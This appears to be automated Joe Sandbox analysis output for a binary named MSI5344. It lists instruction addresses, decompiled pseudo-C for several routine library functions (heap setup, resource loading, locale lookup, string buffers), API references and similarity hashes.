0x7ff7af71935b
0x7ff7af71935d
0x7ff7af719362
0x7ff7af719365
0x7ff7af71936e
0x7ff7af719371
0x7ff7af719375
0x7ff7af719379
0x7ff7af71937b
0x7ff7af719380
0x7ff7af719383
0x7ff7af719393
0x7ff7af719398
0x7ff7af71939e
0x7ff7af7193b6
0x7ff7af7193bd
0x7ff7af7193c3
0x7ff7af7193c7
0x7ff7af7193cb
0x7ff7af7193d8
0x7ff7af7193dc
0x7ff7af7193e0
0x7ff7af7193e4
0x7ff7af7193e6
0x7ff7af7193ef
0x7ff7af719403
0x7ff7af71940a
0x7ff7af719410
0x7ff7af719414
0x7ff7af719418
0x7ff7af71941e
0x7ff7af719425
0x7ff7af719429
0x7ff7af71942d
0x7ff7af719431
0x7ff7af719433
0x7ff7af719438
0x7ff7af71943d
0x7ff7af719443
0x7ff7af71944a
0x7ff7af71944f
0x7ff7af71945f
0x7ff7af719465
0x7ff7af719469
0x7ff7af71946d
0x7ff7af71947a
0x7ff7af71947e
0x7ff7af719482
0x7ff7af719486
0x7ff7af719488
0x7ff7af719490
0x7ff7af719499
0x7ff7af7194a2
0x7ff7af7194ab
0x7ff7af7194b4
0x7ff7af7194bd
0x7ff7af7194c6
0x7ff7af7194cf
0x7ff7af7194d5
0x7ff7af7194e0
0x7ff7af7194ea
0x7ff7af7194f3
0x7ff7af7194f5
0x7ff7af7194f9
0x7ff7af719503
0x7ff7af719509
0x7ff7af71950d
0x7ff7af719511
0x7ff7af719515
0x7ff7af719517
0x7ff7af71951b
0x7ff7af71952b
0x7ff7af71953a
0x7ff7af71953e
0x7ff7af719542
0x7ff7af71954c
0x7ff7af719563
0x7ff7af719570
0x7ff7af719577
0x7ff7af719579
0x7ff7af71957e
0x7ff7af719581
0x7ff7af71958a
0x7ff7af71958d
0x7ff7af719591
0x7ff7af719595
0x7ff7af71959f
0x7ff7af7195a4
0x7ff7af7195a7
0x7ff7af7195af
0x7ff7af7195b7
0x7ff7af7195cb
0x7ff7af7195db
0x7ff7af7195e1
0x7ff7af7195e8
0x7ff7af7195f9
0x7ff7af7195ff
0x7ff7af71960c
0x7ff7af719615
0x7ff7af71961a
0x7ff7af71961f
0x7ff7af719625
0x7ff7af71962d
0x7ff7af719634
0x7ff7af719640
0x7ff7af71964a
0x7ff7af719654
0x7ff7af719659
0x7ff7af719669
0x7ff7af71966f
0x7ff7af719673
0x7ff7af719677
0x7ff7af719684
0x7ff7af719688
0x7ff7af71968c
0x7ff7af719690
0x7ff7af719692
0x7ff7af719697
0x7ff7af7196ae
0x7ff7af7196b2
0x7ff7af7196b7
0x7ff7af7196bd
0x7ff7af7196c6
0x7ff7af7196d4
0x7ff7af7196e8
0x7ff7af7196ea
0x7ff7af7196ed
0x7ff7af7196f0
0x7ff7af7196f9
0x7ff7af7196fc
0x7ff7af719700
0x7ff7af719705
0x7ff7af71970f
0x7ff7af719716
0x7ff7af719721
0x7ff7af71972d
0x7ff7af719737
0x7ff7af719739
0x7ff7af71973d
0x7ff7af719740
0x7ff7af719749
0x7ff7af71974c
0x7ff7af719750
0x7ff7af719755
0x7ff7af719757
0x7ff7af719760
0x7ff7af719765
0x7ff7af719768
0x7ff7af719773
0x7ff7af71977f
0x7ff7af719790
0x7ff7af719792
0x7ff7af719797
0x7ff7af71979a
0x7ff7af7197a3
0x7ff7af7197a6
0x7ff7af7197aa
0x7ff7af7197af
0x7ff7af7197ba
0x7ff7af7197bf
0x7ff7af7197c4
0x7ff7af7197c9
0x7ff7af7197d7
0x7ff7af7197dc
0x7ff7af7197e5
0x7ff7af7197f3
0x7ff7af7197fc
0x7ff7af719805
0x7ff7af71980e
0x7ff7af719814
0x7ff7af719818
0x7ff7af71981c
0x7ff7af719829
0x7ff7af71982d
0x7ff7af719831
0x7ff7af719835
0x7ff7af719837
0x7ff7af71983c
0x7ff7af719842
0x7ff7af719848
0x7ff7af71984b
0x7ff7af719851
0x7ff7af71985a
0x7ff7af719863
0x7ff7af71986c
0x7ff7af719875
0x7ff7af71987e
0x7ff7af719887
0x7ff7af719890
0x7ff7af719895
0x7ff7af71989a
0x7ff7af7198a0
0x7ff7af7198a6
0x7ff7af7198c8
0x7ff7af7198cb
0x7ff7af7198d6
0x7ff7af7198db
0x7ff7af7198eb
0x7ff7af7198f1
0x7ff7af719900
0x7ff7af719902
0x7ff7af719904
0x7ff7af719907
0x7ff7af719909
0x7ff7af71990b
0x7ff7af71991a
0x7ff7af719924
0x7ff7af719932
0x7ff7af719939
0x7ff7af71993d
0x7ff7af719942
0x7ff7af719947
0x7ff7af719955
0x7ff7af71995b
0x7ff7af719968
0x7ff7af71996a
0x7ff7af71996d
0x7ff7af719970
0x7ff7af719979
0x7ff7af71997c
0x7ff7af719980
0x7ff7af719984
0x7ff7af71998f
0x7ff7af719997
0x7ff7af7199a2
0x7ff7af7199ae
0x7ff7af7199b7
0x7ff7af7199b9
0x7ff7af7199be
0x7ff7af7199c1
0x7ff7af7199ca
0x7ff7af7199cd
0x7ff7af7199d1
0x7ff7af7199d5
0x7ff7af7199dc
0x7ff7af7199ea
0x7ff7af7199f1
0x7ff7af7199f5
0x7ff7af7199fa
0x7ff7af7199ff
0x7ff7af719a0d
0x7ff7af719a20
0x7ff7af719a22
0x7ff7af719a25
0x7ff7af719a28
0x7ff7af719a31
0x7ff7af719a34
0x7ff7af719a38
0x7ff7af719a3c
0x7ff7af719a47
0x7ff7af719a4c
0x7ff7af719a4f
0x7ff7af719a5a
0x7ff7af719a66
0x7ff7af719a6f
0x7ff7af719a71
0x7ff7af719a76
0x7ff7af719a79
0x7ff7af719a82
0x7ff7af719a85
0x7ff7af719a89
0x7ff7af719a8d
0x7ff7af719a98
0x7ff7af719a9d
0x7ff7af719aa2
0x7ff7af719aaa
0x7ff7af719ab6
0x7ff7af719ac6
0x7ff7af719acc
0x7ff7af719ad2
0x7ff7af719ae1
0x7ff7af719aea
0x7ff7af719b02
0x7ff7af719b09
0x7ff7af719b0f
0x7ff7af719b13
0x7ff7af719b17
0x7ff7af719b24
0x7ff7af719b28
0x7ff7af719b2c
0x7ff7af719b30
0x7ff7af719b32
0x7ff7af719b3b
0x7ff7af719b53
0x7ff7af719b5a
0x7ff7af719b60
0x7ff7af719b64
0x7ff7af719b68
0x7ff7af719b75
0x7ff7af719b79
0x7ff7af719b7d
0x7ff7af719b81
0x7ff7af719b83
0x7ff7af719b88
0x7ff7af719b98
0x7ff7af719b9e
0x7ff7af719ba2
0x7ff7af719ba6
0x7ff7af719bb3
0x7ff7af719bb7
0x7ff7af719bbb
0x7ff7af719bbf
0x7ff7af719bc1
0x7ff7af719bc9
0x7ff7af719bcc
0x7ff7af719bd4
0x7ff7af719bdd
0x7ff7af719be6
0x7ff7af719bef
0x7ff7af719bf8
0x7ff7af719bfd
0x7ff7af719c03
0x7ff7af719c06
0x7ff7af719c0b
0x7ff7af719c20
0x7ff7af719c2b
0x7ff7af719c35
0x7ff7af719c3a
0x7ff7af719c48
0x7ff7af719c51
0x7ff7af719c56
0x7ff7af719c5b
0x7ff7af719c62
0x7ff7af719c69
0x7ff7af719c74
0x7ff7af719c7a
0x7ff7af719c7f
0x7ff7af719c83
0x7ff7af719c87
0x7ff7af719c90
0x7ff7af719c9a
0x7ff7af719c9f
0x7ff7af719ca2
0x7ff7af719ca6
0x7ff7af719cac
0x7ff7af719cb5
0x7ff7af719cbf
0x7ff7af719cc7
0x7ff7af719ccc
0x7ff7af719cd2
0x7ff7af719cde
0x7ff7af719ce2
0x7ff7af719ce4
0x7ff7af719ce7
0x7ff7af719ce9
0x7ff7af719ceb
0x7ff7af719cf6
0x7ff7af719cff
0x7ff7af719d1b
0x7ff7af719d21
0x7ff7af719d2c
0x7ff7af719d36
0x7ff7af719d43
0x7ff7af719d4a
0x7ff7af719d52
0x7ff7af719d57
0x7ff7af719d65
0x7ff7af719d79
0x7ff7af719d7b
0x7ff7af719d7e
0x7ff7af719d81
0x7ff7af719d8a
0x7ff7af719d8d
0x7ff7af719d91
0x7ff7af719d96
0x7ff7af719d9f
0x7ff7af719da6
0x7ff7af719dae
0x7ff7af719db6
0x7ff7af719dc2
0x7ff7af719dcc
0x7ff7af719dce
0x7ff7af719dd2
0x7ff7af719dd5
0x7ff7af719dde
0x7ff7af719de1
0x7ff7af719de5
0x7ff7af719dea
0x7ff7af719df1
0x7ff7af719df6
0x7ff7af719dfd
0x7ff7af719e0a
0x7ff7af719e11
0x7ff7af719e19
0x7ff7af719e1e
0x7ff7af719e2c
0x7ff7af719e3d
0x7ff7af719e3f
0x7ff7af719e43
0x7ff7af719e46
0x7ff7af719e4f
0x7ff7af719e52
0x7ff7af719e56
0x7ff7af719e5b
0x7ff7af719e63
0x7ff7af719e67
0x7ff7af719e6b
0x7ff7af719e70
0x7ff7af719e75
0x7ff7af719e7f
0x7ff7af719e89
0x7ff7af719e95
0x7ff7af719e9c
0x7ff7af719e9e
0x7ff7af719ea6
0x7ff7af719eaf
0x7ff7af719eb3
0x7ff7af719eb7
0x7ff7af719ebb
0x7ff7af719edc

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF719443
_get_daylight.LIBCMT ref: 00007FF7AF7194E3
_get_daylight.LIBCMT ref: 00007FF7AF7194FC

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: 071d7bac63534726afcf1239d112105732dfc156b1cc41448c179375f1c696c2
Instruction ID: 8bb7be2636f2cccd4fb2f5585a7ff0bf8fbe1867b682ca087ced9cbc6cf2d059
Opcode Fuzzy Hash: 071d7bac63534726afcf1239d112105732dfc156b1cc41448c179375f1c696c2
Instruction Fuzzy Hash: 9B92D43A90AAD286E724AF2494541FAB3B1FB48784FC64135DA8D03BB4DF3DD50AC324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E93FC Relevance: 5.3, APIs: 3, Instructions: 761
COMMONCrypto

Download Yara Rule

C-Code - Quality: 18%

			E00007FF77FF7AF6E93FC(void* __ebx, void* __ecx, void* __rcx, long long __rdx, void* __r8, intOrPtr* __r9) {
				signed int _v80;
				long long _v88;
				long long _v96;
				char _v112;
				long long _v120;
				long long _v128;
				long long _v136;
				long long _v144;
				intOrPtr _v148;
				intOrPtr _v151;
				char _v152;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r14;
				signed long long _t55;
				long long _t58;
				void* _t65;
				long long _t82;
				intOrPtr* _t83;
				void* _t88;
				long long _t97;
				long long _t98;
				intOrPtr _t99;

				_t55 =  *0xaf751030; // 0xa13e9e6732fb
				_v80 = _t55 ^ _t88 - 0x00000078;
				_v136 = __rdx;
				_t3 = _t82 + 1; // 0x1
				r15d = _t3;
				if ( *__r9 == dil) goto 0xaf6e9453;
				_t58 =  !=  ? __r8 : __r8 + 1;
				_t65 = _t58;
				if ( *((intOrPtr*)(__r9 + _t98)) != 0) goto 0xaf6e943c;
				_v112 = _t82;
				_v96 = _t82;
				_v88 = 0xf;
				_v112 = dil;
				if (_t65 - 0xf > 0) goto 0xaf6e9486;
				_v96 = _t65;
				E00007FF77FF7AF70ABF0();
				 *((intOrPtr*)(_t88 + _t65 - 0x30)) = dil;
				goto 0xaf6e9496;
				r9d = 0;
				r8b = _v151;
				E00007FF77FF7AF6D3F20(_t65,  &_v112, _t65, _t82, _t97);
				E00007FF77FF7AF6E8850(r15b, _t65, __rcx, _t88);
				_t83 = _t58;
				_v120 = _t58;
				E00007FF77FF7AF6DC000(_t58,  &_v128);
				_v128 = _t58;
				if (_t83 == 0) goto 0xaf6e94e1;
				 *0xaf7354d0();
				if ( *((intOrPtr*)( *_t83 + 0x10)) == 0) goto 0xaf6e94e1;
				 *0xaf7354d0();
				_v152 = 0;
				r14d = 0;
				r12d = 0;
				_v148 = 0xfffffffe;
				_v144 = _t98;
				_t99 = _v88;
				if (_t65 != 0) goto 0xaf6e9567;
				if (_t99 - 0x10 < 0) goto 0xaf6e953e;
				_t23 = _t99 + 1; // 0x10
				if (_t23 - 0x1000 < 0) goto 0xaf6e9536;
				if (_v112 -  *((intOrPtr*)(_v112 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xaf6e9745;
				E00007FF77FF7AF6D7870( *((intOrPtr*)(_v112 - 8)));
				return E00007FF77FF7AF708B70(_v148, 0, _v80 ^ _t88 - 0x00000078);
			}

0x7ff7af6e9410
0x7ff7af6e941a
0x7ff7af6e9424
0x7ff7af6e942d
0x7ff7af6e942d
0x7ff7af6e9434
0x7ff7af6e9443
0x7ff7af6e9447
0x7ff7af6e9451
0x7ff7af6e9453
0x7ff7af6e9457
0x7ff7af6e945b
0x7ff7af6e9463
0x7ff7af6e946f
0x7ff7af6e9471
0x7ff7af6e947a
0x7ff7af6e947f
0x7ff7af6e9484
0x7ff7af6e9486
0x7ff7af6e9489
0x7ff7af6e9490
0x7ff7af6e9499
0x7ff7af6e949e
0x7ff7af6e94a1
0x7ff7af6e94a9
0x7ff7af6e94ae
0x7ff7af6e94b5
0x7ff7af6e94c1
0x7ff7af6e94cd
0x7ff7af6e94db
0x7ff7af6e94e3
0x7ff7af6e94e6
0x7ff7af6e94e9
0x7ff7af6e94ec
0x7ff7af6e94f6
0x7ff7af6e94fa
0x7ff7af6e9505
0x7ff7af6e950b
0x7ff7af6e950d
0x7ff7af6e951b
0x7ff7af6e9530
0x7ff7af6e9539
0x7ff7af6e955d

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E9745
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E9ABA

Part of subcall function 00007FF7AF6D3F20: LocalAlloc.KERNEL32 ref: 00007FF7AF6D3FAE
Part of subcall function 00007FF7AF6D3F20: LocalFree.KERNEL32 ref: 00007FF7AF6D402D

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E9E2E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Local$AllocFree
String ID:
API String ID: 1409783982-0
Opcode ID: 6d806c57564bef4b010069f589a3307bb435a4192e6a535703d6936e1f0a9e9a
Instruction ID: 9cba4996486f62c1f7f7454cea12f449d0a2ebbcaaf34be8b5d4026b84dae9e4
Opcode Fuzzy Hash: 6d806c57564bef4b010069f589a3307bb435a4192e6a535703d6936e1f0a9e9a
Instruction Fuzzy Hash: 7662EE23B0A6D2C5FB10AB65D4503FDA7BAAF05B88F965035DE4E17BA5DF29E440C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EC8D0 Relevance: 4.9, APIs: 3, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00007FF77FF7AF6EC8D0(long long __rbx, long long* __rcx, void* __rdx, long long __rsi) {
				void* _t31;
				void* _t32;
				signed long long _t40;
				long long _t42;
				long long _t45;
				void* _t47;

				 *((long long*)(_t47 + 8)) = __rbx;
				 *((long long*)(_t47 + 0x10)) = _t42;
				 *((long long*)(_t47 + 0x18)) = __rsi;
				_t40 =  *((intOrPtr*)(__rdx + 0x10));
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xaf6ec8f8;
				if (_t40 - 8 >= 0) goto 0xaf6ec913;
				asm("movups xmm0, [ebx]");
				asm("movdqu [ecx], xmm0");
				 *(__rcx + 0x10) = _t40;
				 *((long long*)(__rcx + 0x18)) = 7;
				goto 0xaf6ec97b;
				_t45 =  >  ? 0xfffffffe : _t40 | 0x00000007;
				_t31 = _t45 + 1;
				if (_t31 - 0xffffffff > 0) goto 0xaf6ec990;
				_t32 = _t31 + _t31;
				if (_t32 - 0x1000 < 0) goto 0xaf6ec951;
				E00007FF77FF7AF6D2130(0xffffffff, _t32);
				goto 0xaf6ec95d;
				if (_t32 == 0) goto 0xaf6ec95d;
				E00007FF77FF7AF6D7860();
				 *__rcx = 0xffffffff;
				E00007FF77FF7AF70AFB0();
				 *(__rcx + 0x10) = _t40;
				 *((long long*)(__rcx + 0x18)) = _t45;
				return 0;
			}

0x7ff7af6ec8d0
0x7ff7af6ec8d5
0x7ff7af6ec8da
0x7ff7af6ec8ec
0x7ff7af6ec8f3
0x7ff7af6ec8fc
0x7ff7af6ec8fe
0x7ff7af6ec901
0x7ff7af6ec905
0x7ff7af6ec909
0x7ff7af6ec911
0x7ff7af6ec927
0x7ff7af6ec935
0x7ff7af6ec93c
0x7ff7af6ec93e
0x7ff7af6ec948
0x7ff7af6ec94a
0x7ff7af6ec94f
0x7ff7af6ec956
0x7ff7af6ec958
0x7ff7af6ec965
0x7ff7af6ec96e
0x7ff7af6ec973
0x7ff7af6ec977
0x7ff7af6ec98f

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EC990

Part of subcall function 00007FF7AF6D2130: LocalAlloc.KERNEL32 ref: 00007FF7AF6D2142

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6ECE2F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6ECE35

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AllocConcurrency::cancel_current_taskLocal
String ID:
API String ID: 1382147479-0
Opcode ID: ca6472d608e00cee70e1b01dd4045f07b29e7bf035cb4ddb4108f93c9a112098
Instruction ID: bc14dd71c1ef5749eda1565ecc74e176b0a9df0239ed3fe45dd78bb592561139
Opcode Fuzzy Hash: ca6472d608e00cee70e1b01dd4045f07b29e7bf035cb4ddb4108f93c9a112098
Instruction Fuzzy Hash: 8CF18F27B0AB8585EB04EF65D4402ECA376FB48B88F925132DE9D17BA9DF38D446C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D2DE0 Relevance: 4.6, APIs: 3, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7AF6D2DE0() {
				void* _t6;
				void* _t8;
				void* _t10;
				long long _t13;
				void* _t17;
				intOrPtr* _t18;

				_t13 =  *[gs:0x58];
				_t18 = _t17 +  *_t13;
				_t8 =  *0xaf754630 -  *_t18; // 0x80000001
				if (_t8 <= 0) goto 0xaf6d2e51;
				E00007FF77FF7AF708D44();
				if ( *0xaf754630 != 0xffffffff) goto 0xaf6d2e51;
				GetProcessHeap();
				 *0xaf754668 = 0xaf744b68;
				 *0xaf754670 = _t13;
				 *0xaf754678 = 0;
				E00007FF77FF7AF70908C( *0xaf754630 - 0xffffffff, _t13);
				E00007FF77FF7AF708CE4();
				_t10 =  *0xaf754634 -  *_t18; // 0x80000002
				if (_t10 <= 0) goto 0xaf6d2ed5;
				E00007FF77FF7AF708D44();
				if ( *0xaf754634 != 0xffffffff) goto 0xaf6d2ed5;
				 *0xaf754638 = 0xaf744b90;
				 *0xaf754640 = 0xaf754668;
				 *0xaf754658 = 2;
				 *0xaf754650 = 0xaf754668;
				 *0xaf754660 = 0;
				 *0xaf754648 = 0xaf754638;
				_t6 = E00007FF77FF7AF70908C(0, 0xaf754668);
				E00007FF77FF7AF708CE4();
				return _t6;
			}

0x7ff7af6d2deb
0x7ff7af6d2df4
0x7ff7af6d2df9
0x7ff7af6d2dff
0x7ff7af6d2e08
0x7ff7af6d2e14
0x7ff7af6d2e16
0x7ff7af6d2e23
0x7ff7af6d2e2a
0x7ff7af6d2e31
0x7ff7af6d2e3f
0x7ff7af6d2e4c
0x7ff7af6d2e53
0x7ff7af6d2e59
0x7ff7af6d2e62
0x7ff7af6d2e6e
0x7ff7af6d2e77
0x7ff7af6d2e85
0x7ff7af6d2e8c
0x7ff7af6d2e98
0x7ff7af6d2e9f
0x7ff7af6d2eac
0x7ff7af6d2eba
0x7ff7af6d2ec7
0x7ff7af6d2ed4

APIs

GetProcessHeap.KERNEL32(?,?,?,00007FF7AF6D258D), ref: 00007FF7AF6D2E16
_Init_thread_footer.LIBCMT ref: 00007FF7AF6D2E4C

Part of subcall function 00007FF7AF708CE4: EnterCriticalSection.KERNEL32(?,?,00000004,00007FF7AF6D2ECC,?,?,?,00007FF7AF6D258D), ref: 00007FF7AF708CF4
Part of subcall function 00007FF7AF708CE4: LeaveCriticalSection.KERNEL32(?,?,00000004,00007FF7AF6D2ECC,?,?,?,00007FF7AF6D258D), ref: 00007FF7AF708D34

_Init_thread_footer.LIBCMT ref: 00007FF7AF6D2EC7

Part of subcall function 00007FF7AF708D44: EnterCriticalSection.KERNEL32(?,?,00000004,00007FF7AF6D2E67,?,?,?,00007FF7AF6D258D), ref: 00007FF7AF708D54

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footer$HeapLeaveProcess
String ID:
API String ID: 3391058595-0
Opcode ID: 7b8c576c401036732a481d709eecab86f828cb21edb0712ffaf20c49e0425837
Instruction ID: 64e482bca24e5fe27185dd6de0acf7c6bc76c1a74b2260698742541b6c39f06c
Opcode Fuzzy Hash: 7b8c576c401036732a481d709eecab86f828cb21edb0712ffaf20c49e0425837
Instruction Fuzzy Hash: FE21B928D9BAD695EA60BF14ECA12F4B366EF5C314FC21136C45C422B1DF3CA494C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D2680 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32 ref: 00007FF7AF6D269D
LockResource.KERNEL32 ref: 00007FF7AF6D26AB
SizeofResource.KERNEL32 ref: 00007FF7AF6D26BF

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 314fd6c429446d51ad8664a9570813b6f03fd8c5b7336ad63ff9d2417c027cbf
Instruction ID: acd34896cbacc779900959c34f7a5d3d53879991a0abf0a2f48e28e540769eb9
Opcode Fuzzy Hash: 314fd6c429446d51ad8664a9570813b6f03fd8c5b7336ad63ff9d2417c027cbf
Instruction Fuzzy Hash: 4A01F911F1BFC246DF846B25B8041B9A2A5AF48BD4FDD5531DE1E477A4EE3CD450A310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF724B54 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 29%

			E00007FF77FF7AF724B54(void* __edx, void* __eflags, void* __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, void* __r8, long long _a8, long long _a16, long long _a24) {
				void* _t11;
				void* _t22;
				void* _t33;

				_t23 = __rbx;
				_t22 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t11 = r9d;
				_t33 = __rcx;
				E00007FF77FF7AF72468C(7, __rbx, "GetLocaleInfoEx", __rsi, 0xaf73d210, "GetLocaleInfoEx");
				if (_t22 == 0) goto 0xaf724bb4;
				r9d = _t11;
				 *0xaf7354d8();
				goto 0xaf724bce;
				E00007FF77FF7AF724F48(0, 0, _t22, _t23, _t33);
				r9d = _t11;
				return GetLocaleInfoW(??, ??, ??, ??);
			}

0x7ff7af724b54
0x7ff7af724b54
0x7ff7af724b54
0x7ff7af724b59
0x7ff7af724b5e
0x7ff7af724b68
0x7ff7af724b77
0x7ff7af724b8d
0x7ff7af724b95
0x7ff7af724ba1
0x7ff7af724bac
0x7ff7af724bb2
0x7ff7af724bb9
0x7ff7af724bc0
0x7ff7af724be2

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF7AF72113E), ref: 00007FF7AF724BC8

Strings

GetLocaleInfoEx, xrefs: 00007FF7AF724B70, 00007FF7AF724B81

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: b7cab5e3d8b35cb3f3822467f35c11571fd87c917dd2835c1c05f913a6dc8bbc
Instruction ID: 681125b405567a235f09494ff4dcf0352f01f03a24778198b45567a4307a6c6b
Opcode Fuzzy Hash: b7cab5e3d8b35cb3f3822467f35c11571fd87c917dd2835c1c05f913a6dc8bbc
Instruction Fuzzy Hash: AD018429B096D195E714AB46A8401EAE361EB8CBC0FD94136DE4D03B76CE3CD5418350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E7C4C Relevance: 3.3, APIs: 2, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF7AF6E7C4C(signed int __edx, signed int __edi, void* __rcx, void* __rdx, long long __r8, long long __r9, void* __r10) {
				void* __rbx;
				void* __rsi;
				signed int _t46;
				void* _t57;
				long long _t59;
				void* _t63;
				signed int _t71;
				intOrPtr _t76;
				void* _t78;
				signed long long _t88;
				signed long long _t89;
				long long _t112;
				intOrPtr _t118;
				long long _t124;
				void* _t125;
				void* _t126;
				signed long long _t127;
				long long _t133;
				void* _t138;
				void* _t139;

				_t133 = __r9;
				_t71 = __edx;
				_t125 = _t126 - 0x4f;
				_t127 = _t126 - 0xa0;
				asm("movaps [eax-0x48], xmm6");
				_t88 =  *0xaf751030; // 0xa13e9e6732fb
				_t89 = _t88 ^ _t127;
				 *(_t125 - 1) = _t89;
				_t124 = __r9;
				_t138 = __rdx;
				_t139 = __rcx;
				 *(_t125 - 0x29) =  *(_t125 - 0x29) & 0x00000000;
				r9d = 0;
				 *((long long*)(_t125 - 0x19)) = __r9;
				_t6 = _t133 + 0xf; // 0xf
				r8d = _t6;
				 *((long long*)(_t125 - 0x11)) = __r8;
				 *(_t125 - 0x29) = r9b;
				_t46 =  *(__r9 + 0x18) & 0x00003000;
				asm("movsd xmm6, [ebp+0x7f]");
				if (_t46 != 0x3000) goto 0xaf6e7cb6;
				goto 0xaf6e7d2d;
				_t76 =  *((intOrPtr*)(__r9 + 0x20));
				if (_t76 <= 0) goto 0xaf6e7cc3;
				goto 0xaf6e7cd7;
				if (_t76 != 0) goto 0xaf6e7cd2;
